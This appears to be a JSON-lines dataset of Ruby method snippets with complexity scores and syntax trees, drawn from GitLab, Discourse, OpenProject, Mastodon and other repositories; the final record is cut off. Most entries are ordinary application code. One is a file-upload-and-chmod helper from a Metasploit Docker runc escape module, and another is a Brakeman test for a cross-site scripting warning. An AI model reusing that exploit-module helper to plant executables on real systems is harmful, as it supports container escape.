{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/docker_runc_escape.rb","start_line":310,"raw_source":"def upload_and_chmodx(path, data)\n    upload(path, data)\n    chmod(path, 0o755)\n  end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_and_chmodx\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"upload\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[null,\"chmod\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"int\",\"children\":[493]}]}]}]}","id":"e2286844-adf8-42e8-8cbb-3d4765882372"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/migrations_helpers.rb","start_line":53,"raw_source":"def active_record_base(database: nil)\n    if database.present?\n      conn = Gitlab::Database.all_database_connections[database]\n      raise ArgumentError, \"#{database} is not a valid argument\" unless conn\n\n      return conn.klass\n    end\n\n    migration_schema = self.class.metadata[:migration]\n    Gitlab::Database.schemas_to_base_models.dig(migration_schema, 0) ||\n      Gitlab::Database.database_base_models[:main]\n  end","complexity_score":19.9,"ast_json":"{\"type\":\"def\",\"children\":[\"active_record_base\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"database\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"database\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"conn\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"all_database_connections\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"database\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"database\"]}]},{\"type\":\"str\",\"children\":[\" is not a valid argument\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"klass\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"migration_schema\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"metadata\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"migration\"]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"schemas_to_base_models\"]},\"dig\",{\"type\":\"lvar\",\"children\":[\"migration_schema\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"database_base_models\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"main\"]}]}]}]}]}","id":"1018bac1-9983-435f-b693-5ea0136275dc"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_permalinks.rb","start_line":11,"raw_source":"def toggle(key)\n        PageObjects::Components::DToggleSwitch.new(\".admin-flag-item__toggle.#{key}\").toggle\n        has_saved_flag?(key)\n        self\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"toggle\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PageObjects\"]},\"Components\"]},\"DToggleSwitch\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".admin-flag-item__toggle.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]},\"toggle\"]},{\"type\":\"send\",\"children\":[null,\"has_saved_flag?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"083654bf-dcb3-48e7-835f-2930dfb6ef46"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/helpers/application_helper.rb","start_line":450,"raw_source":"def include_crawler_content?\n    if current_user && !crawler_layout?\n      params.key?(:print)\n    else\n      return false if !current_user && SiteSetting.login_required?\n\n      crawler_layout? || !mobile_view? || !modern_mobile_device?\n    end\n  end","complexity_score":24.2,"ast_json":"{\"type\":\"def\",\"children\":[\"include_crawler_content?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"crawler_layout?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"print\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"login_required?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"crawler_layout?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mobile_view?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"modern_mobile_device?\"]},\"!\"]}]}]}]}]}","id":"c70f2461-c6a0-4459-88ac-8bc8079eee0a"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/calendar/app/controllers/calendar/calendars_controller.rb","start_line":54,"raw_source":"def create\n      service_result = create_service_class.new(user: User.current)\n                                           .call(calendar_view_params)\n\n      @view = service_result.result\n\n      if service_result.success?\n        flash[:notice] = I18n.t(:notice_successful_create)\n        redirect_to project_calendar_path(@project, @view.query)\n      else\n        render action: :new, status: :unprocessable_entity\n      end\n    end","complexity_score":20.1,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_service_class\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]}]}]}]},\"call\",{\"type\":\"send\",\"children\":[null,\"calendar_view_params\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@view\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_result\"]},\"result\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_result\"]},\"success?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"notice_successful_create\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"project_calendar_path\",{\"type\":\"ivar\",\"children\":[\"@project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"query\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"new\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]}]}","id":"6f148da9-862e-4c72-bffb-49101e112779"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/query_analyzers/prevent_cross_database_modification.rb","start_line":16,"raw_source":"def self.allow_cross_database_modification_within_transaction(url:, &blk)\n          self.with_suppressed(true, &blk)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"allow_cross_database_modification_within_transaction\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"url\"]},{\"type\":\"blockarg\",\"children\":[\"blk\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"with_suppressed\",{\"type\":\"true\",\"children\":[]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blk\"]}]}]}]}","id":"b01a3640-aec6-4125-81dd-909269198d35"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/jobs/data_migrations/start_settings_points_country_ids_job.rb","start_line":6,"raw_source":"def perform\n    Point.where(country_id: nil).find_each do |point|\n      DataMigrations::SetPointsCountryIdsJob.perform_later(point.id)\n    end\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Point\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"country_id\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"point\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DataMigrations\"]},\"SetPointsCountryIdsJob\"]},\"perform_later\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"point\"]},\"id\"]}]}]}]}","id":"8734fe6b-bfb8-405d-ba90-0a3faebab1aa"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/projects/scopes/allowed_to.rb","start_line":38,"raw_source":"def allowed_to(user, permission)\n        permissions = allowed_to_permissions(permission)\n\n        return none if user.locked? || user.deleted?\n        return none if permissions.empty?\n\n        if user.admin? && permissions.all?(&:grant_to_admin?)\n          allowed_to_admin(permissions)\n        elsif user.anonymous?\n          allowed_to_anonymous(user, permissions)\n        else\n          allowed_to_member(user, permissions)\n        end\n      end","complexity_score":21.6,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_to\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"permission\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"permissions\",{\"type\":\"send\",\"children\":[null,\"allowed_to_permissions\",{\"type\":\"lvar\",\"children\":[\"permission\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"locked?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"deleted?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"none\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"permissions\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"none\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"admin?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"permissions\"]},\"all?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"grant_to_admin?\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"allowed_to_admin\",{\"type\":\"lvar\",\"children\":[\"permissions\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"anonymous?\"]},{\"type\":\"send\",\"children\":[null,\"allowed_to_anonymous\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"permissions\"]}]},{\"type\":\"send\",\"children\":[null,\"allowed_to_member\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"permissions\"]}]}]}]}]}]}","id":"8c32a72e-4408-4c76-aee7-867b8e870127"}
{"repo_name":"forem","file_path":"./repos/forem/lib/data_update_scripts/20220309194124_remove_admin_member_view_feature_flag.rb","start_line":3,"raw_source":"def run\n      FeatureFlag.disable(:admin_member_view)\n      FeatureFlag.remove(:admin_member_view)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FeatureFlag\"]},\"disable\",{\"type\":\"sym\",\"children\":[\"admin_member_view\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FeatureFlag\"]},\"remove\",{\"type\":\"sym\",\"children\":[\"admin_member_view\"]}]}]}]}","id":"8fe3972c-3510-49eb-9da5-682a60f018d0"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/errors/validation.rb","start_line":35,"raw_source":"def initialize(property, full_message)\n        super(full_message)\n\n        @property = property\n        @details = { attribute: property }\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"property\"]},{\"type\":\"arg\",\"children\":[\"full_message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"full_message\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@property\",{\"type\":\"lvar\",\"children\":[\"property\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@details\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attribute\"]},{\"type\":\"lvar\",\"children\":[\"property\"]}]}]}]}]}]}","id":"b0382103-0bc9-4df6-8b5b-655973fc84df"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/auth/registrations_controller.rb","start_line":120,"raw_source":"def set_strikes\n    @strikes = current_account.strikes.recent.latest\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_strikes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@strikes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_account\"]},\"strikes\"]},\"recent\"]},\"latest\"]}]}]}","id":"1a2425ec-8735-4456-96f9-9d840ded37bc"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20201109170951_migrate_github_user_infos.rb","start_line":4,"raw_source":"def up\n    # If the user_associated_accounts table is currently empty,\n    # maintain the primary key from github_user_infos\n    # This is useful for people that are using data explorer to access the data\n    maintain_ids = DB.query_single(\"SELECT count(*) FROM user_associated_accounts\")[0] == 0\n\n    execute <<~SQL\n      INSERT INTO user_associated_accounts (\n        provider_name,\n        provider_uid,\n        user_id,\n        info,\n        last_used,\n        created_at,\n        updated_at\n        #{\", id\" if maintain_ids}\n      ) SELECT\n        'github',\n        github_user_id,\n        user_id,\n        json_build_object('nickname', screen_name),\n        updated_at,\n        created_at,\n        updated_at\n        #{\", id\" if maintain_ids}\n      FROM github_user_infos\n    SQL\n\n    execute <<~SQL if maintain_ids\n        SELECT setval(\n          pg_get_serial_sequence('user_associated_accounts', 'id'),\n          (select greatest(max(id), 1) from user_associated_accounts)\n        );\n      SQL\n  end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"maintain_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query_single\",{\"type\":\"str\",\"children\":[\"SELECT count(*) FROM user_associated_accounts\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO user_associated_accounts (\\n\"]},{\"type\":\"str\",\"children\":[\"  provider_name,\\n\"]},{\"type\":\"str\",\"children\":[\"  provider_uid,\\n\"]},{\"type\":\"str\",\"children\":[\"  user_id,\\n\"]},{\"type\":\"str\",\"children\":[\"  info,\\n\"]},{\"type\":\"str\",\"children\":[\"  last_used,\\n\"]},{\"type\":\"str\",\"children\":[\"  created_at,\\n\"]},{\"type\":\"str\",\"children\":[\"  updated_at\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"maintain_ids\"]},{\"type\":\"str\",\"children\":[\", id\"]},null]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\") SELECT\\n\"]},{\"type\":\"str\",\"children\":[\"  'github',\\n\"]},{\"type\":\"str\",\"children\":[\"  github_user_id,\\n\"]},{\"type\":\"str\",\"children\":[\"  user_id,\\n\"]},{\"type\":\"str\",\"children\":[\"  json_build_object('nickname', screen_name),\\n\"]},{\"type\":\"str\",\"children\":[\"  updated_at,\\n\"]},{\"type\":\"str\",\"children\":[\"  created_at,\\n\"]},{\"type\":\"str\",\"children\":[\"  updated_at\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"maintain_ids\"]},{\"type\":\"str\",\"children\":[\", id\"]},null]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"FROM github_user_infos\\n\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"maintain_ids\"]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT setval(\\n\"]},{\"type\":\"str\",\"children\":[\"  pg_get_serial_sequence('user_associated_accounts', 'id'),\\n\"]},{\"type\":\"str\",\"children\":[\"  (select greatest(max(id), 1) from user_associated_accounts)\\n\"]},{\"type\":\"str\",\"children\":[\");\\n\"]}]}]},null]}]}]}","id":"f750ea23-3849-40db-9845-b9876cd8ca1a"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/discourse_merger.rb","start_line":175,"raw_source":"def copy_user_stuff\n    copy_model(UserProfile, skip_if_merged: true, is_a_user_model: true, skip_processing: true)\n\n    [\n      UserStat,\n      UserOption,\n      UserVisit,\n      GivenDailyLike,\n      UserSecondFactor,\n      PushSubscription,\n      DoNotDisturbTiming,\n    ].each { |c| copy_model(c, skip_if_merged: true, is_a_user_model: true, skip_processing: true) }\n\n    [MutedUser, IgnoredUser].each do |c|\n      copy_model(c, is_a_user_model: true, skip_processing: true)\n    end\n\n    [\n      UserAssociatedAccount,\n      Oauth2UserInfo,\n      SingleSignOnRecord,\n      EmailChangeRequest,\n      UserProfileView,\n    ].each { |c| copy_model(c, skip_if_merged: true, is_a_user_model: true) }\n\n    copy_model(UserAvatar, skip_if_merged: true, is_a_user_model: true, mapping: @avatars)\n  end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"copy_user_stuff\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"copy_model\",{\"type\":\"const\",\"children\":[null,\"UserProfile\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_if_merged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_a_user_model\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_processing\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserStat\"]},{\"type\":\"const\",\"children\":[null,\"UserOption\"]},{\"type\":\"const\",\"children\":[null,\"UserVisit\"]},{\"type\":\"const\",\"children\":[null,\"GivenDailyLike\"]},{\"type\":\"const\",\"children\":[null,\"UserSecondFactor\"]},{\"type\":\"const\",\"children\":[null,\"PushSubscription\"]},{\"type\":\"const\",\"children\":[null,\"DoNotDisturbTiming\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[null,\"copy_model\",{\"type\":\"lvar\",\"children\":[\"c\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_if_merged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_a_user_model\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_processing\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MutedUser\"]},{\"type\":\"const\",\"children\":[null,\"IgnoredUser\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[null,\"copy_model\",{\"type\":\"lvar\",\"children\":[\"c\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_a_user_model\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_processing\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserAssociatedAccount\"]},{\"type\":\"const\",\"children\":[null,\"Oauth2UserInfo\"]},{\"type\":\"const\",\"children\":[null,\"SingleSignOnRecord\"]},{\"type\":\"const\",\"children\":[null,\"EmailChangeRequest\"]},{\"type\":\"const\",\"children\":[null,\"UserProfileView\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[null,\"copy_model\",{\"type\":\"lvar\",\"children\":[\"c\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_if_merged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_a_user_model\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"copy_model\",{\"type\":\"const\",\"children\":[null,\"UserAvatar\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_if_merged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_a_user_model\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mapping\"]},{\"type\":\"ivar\",\"children\":[\"@avatars\"]}]}]}]}]}]}","id":"774aeaac-f3c3-4397-a567-04453c5b6987"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/bridge.rb","start_line":147,"raw_source":"def triggers_downstream_pipeline?\n      triggers_child_pipeline? || triggers_cross_project_pipeline?\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"triggers_downstream_pipeline?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"triggers_child_pipeline?\"]},{\"type\":\"send\",\"children\":[null,\"triggers_cross_project_pipeline?\"]}]}]}","id":"8d49329d-502e-4b59-ad9d-fe2594f8296f"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/endorsements_controller.rb","start_line":31,"raw_source":"def next_path\n    return if unlimited?\n\n    api_v1_endorsements_url pagination_params(max_id: pagination_max_id) if records_continue?\n  end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"next_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unlimited?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"records_continue?\"]},{\"type\":\"send\",\"children\":[null,\"api_v1_endorsements_url\",{\"type\":\"send\",\"children\":[null,\"pagination_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_id\"]},{\"type\":\"send\",\"children\":[null,\"pagination_max_id\"]}]}]}]}]},null]}]}]}","id":"740a5186-f882-48c8-a917-3a36b11aeeb2"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails5.rb","start_line":303,"raw_source":"def test_cross_site_scripting_link_to_url_for\n    assert_warning :type => :template,\n      :warning_code => 4,\n      :fingerprint => \"03fcddff701f15c976a229c2a814c817f81463b733c6d4925253488879d907e3\",\n      :warning_type => \"Cross-Site Scripting\",\n      :line => 7,\n      :message => /^Unsafe\\ parameter\\ value\\ in\\ `link_to`\\ href/,\n      :confidence => 0,\n      :relative_path => \"app/views/users/show.html.erb\",\n      :code => s(:call, nil, :link_to, s(:str, \"xss\"), s(:call, nil, :url_for, s(:call, s(:params), :[], s(:lit, :bad)))),\n      :user_input => s(:call, s(:params), :[], s(:lit, :bad))\n  end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_cross_site_scripting_link_to_url_for\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"template\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"03fcddff701f15c976a229c2a814c817f81463b733c6d4925253488879d907e3\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Cross-Site Scripting\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[7]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Unsafe\\\\ parameter\\\\ value\\\\ in\\\\ `link_to`\\\\ href\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"app/views/users/show.html.erb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"link_to\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"str\"]},{\"type\":\"str\",\"children\":[\"xss\"]}]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"url_for\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\